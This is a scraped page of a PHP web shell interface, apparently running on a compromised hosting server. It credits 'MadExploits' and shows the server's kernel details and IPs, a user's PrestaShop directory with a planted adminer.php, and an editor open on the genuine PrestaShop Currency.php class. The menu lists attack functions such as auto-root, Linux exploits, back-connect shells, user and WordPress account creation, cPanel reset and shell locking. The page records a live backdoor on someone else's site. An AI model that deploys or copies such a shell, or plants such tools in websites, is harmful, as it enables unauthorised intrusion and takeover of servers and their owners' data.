Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
src /
Core /
Localization /
[ HOME SHELL ]
Name
Size
Permission
Action
CLDR
[ DIR ]
drwx---r-x
Currency
[ DIR ]
drwx---r-x
Exception
[ DIR ]
drwx---r-x
Locale
[ DIR ]
drwx---r-x
Number
[ DIR ]
drwx---r-x
Pack
[ DIR ]
drwx---r-x
RTL
[ DIR ]
drwx---r-x
Specification
[ DIR ]
drwx---r-x
Currency.php
5.51
KB
-rw----r--
CurrencyInterface.php
3.77
KB
-rw----r--
Locale.php
5.97
KB
-rw----r--
LocaleInterface.php
1.73
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Currency.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Core\Localization; use PrestaShop\PrestaShop\Core\Localization\Exception\LocalizationException; /** * The Currency class is used to feed callers with currency-related data. * * For instance, the LocaleRepository uses currency data to build Price specifications */ class Currency implements CurrencyInterface { /** * Is this currency active ? * * @var bool */ protected $isActive; /** * Conversion rate of this currency against the default shop's currency. * * Price in currency A * currency A's conversion rate = price in default currency * * Example: * Given the Euro as default shop's currency, * If 1 dollar = 1.31 euros, * Then conversion rate for Dollar will be 1.31 * * @var float */ protected $conversionRate; /** * Currency's alphabetic ISO code (ISO 4217). * * @see https://www.iso.org/iso-4217-currency-codes.html * * @var string */ protected $isoCode; /** * Currency's numeric ISO code (ISO 4217). * * @see https://www.iso.org/iso-4217-currency-codes.html * * @var string */ protected $numericIsoCode; /** * Currency's symbols, by locale code. * * eg.: $symbolsUSD = [ * 'en-US' => '$', * 'es-CO' => 'US$', // In Colombia, colombian peso's symbol is "$". They have to differentiate foreign dollars. * ] * * @var string[] */ protected $symbols; /** * Number of decimal digits to use with this currency. * * @var int */ protected $precision; /** * the currency's name, by locale code. * * @var string[] */ protected $names; /** * Currency's patterns, by locale code. * * eg.: $patternsUSD = [ * 'fr-FR' => '#,##0.00 ¤', * 'en-EN' => '¤#,##0.00', * ] * * @var string[] */ protected $patterns; /** * @param bool $isActive Is this currency active ? * @param float $conversionRate Conversion rate of this currency against the default shop's currency * @param string $isoCode Currency's alphabetic ISO code (ISO 4217) * @param int $numericIsoCode Currency's numeric ISO code (ISO 4217) * @param string[] $symbols Currency's symbols, by locale code * @param int $precision Number of decimal digits to use with this currency * @param string[] $names the currency's name, by locale code * @param string[] $patterns the currency's pattern, by locale code */ public function __construct( $isActive, $conversionRate, $isoCode, $numericIsoCode, $symbols, $precision, $names, $patterns = [] ) { $this->isActive = $isActive; $this->conversionRate = $conversionRate; $this->isoCode = $isoCode; $this->numericIsoCode = $numericIsoCode; $this->symbols = $symbols; $this->precision = $precision; $this->names = $names; $this->patterns = $patterns; } /** * {@inheritdoc} */ public function isActive() { return $this->isActive; } /** * {@inheritdoc} */ public function getConversionRate() { return $this->conversionRate; } /** * {@inheritdoc} */ public function getIsoCode() { return $this->isoCode; } /** * {@inheritdoc} */ public function getNumericIsoCode() { return $this->numericIsoCode; } /** * {@inheritdoc} * * @throws LocalizationException */ public function getSymbol($localeCode) { if (!isset($this->symbols[$localeCode])) { throw new LocalizationException('Unknown locale code: ' . $localeCode); } return $this->symbols[$localeCode]; } /** * {@inheritdoc} */ public function getDecimalPrecision() { return $this->precision; } /** * {@inheritdoc} * * @throws LocalizationException */ public function getName($localeCode) { if (!isset($this->names[$localeCode])) { throw new LocalizationException('Unknown locale code: ' . $localeCode); } return $this->names[$localeCode]; } /** * @param string $localeCode * * @return string */ public function getPattern($localeCode) { return $this->patterns[$localeCode] ?? ''; } }
Close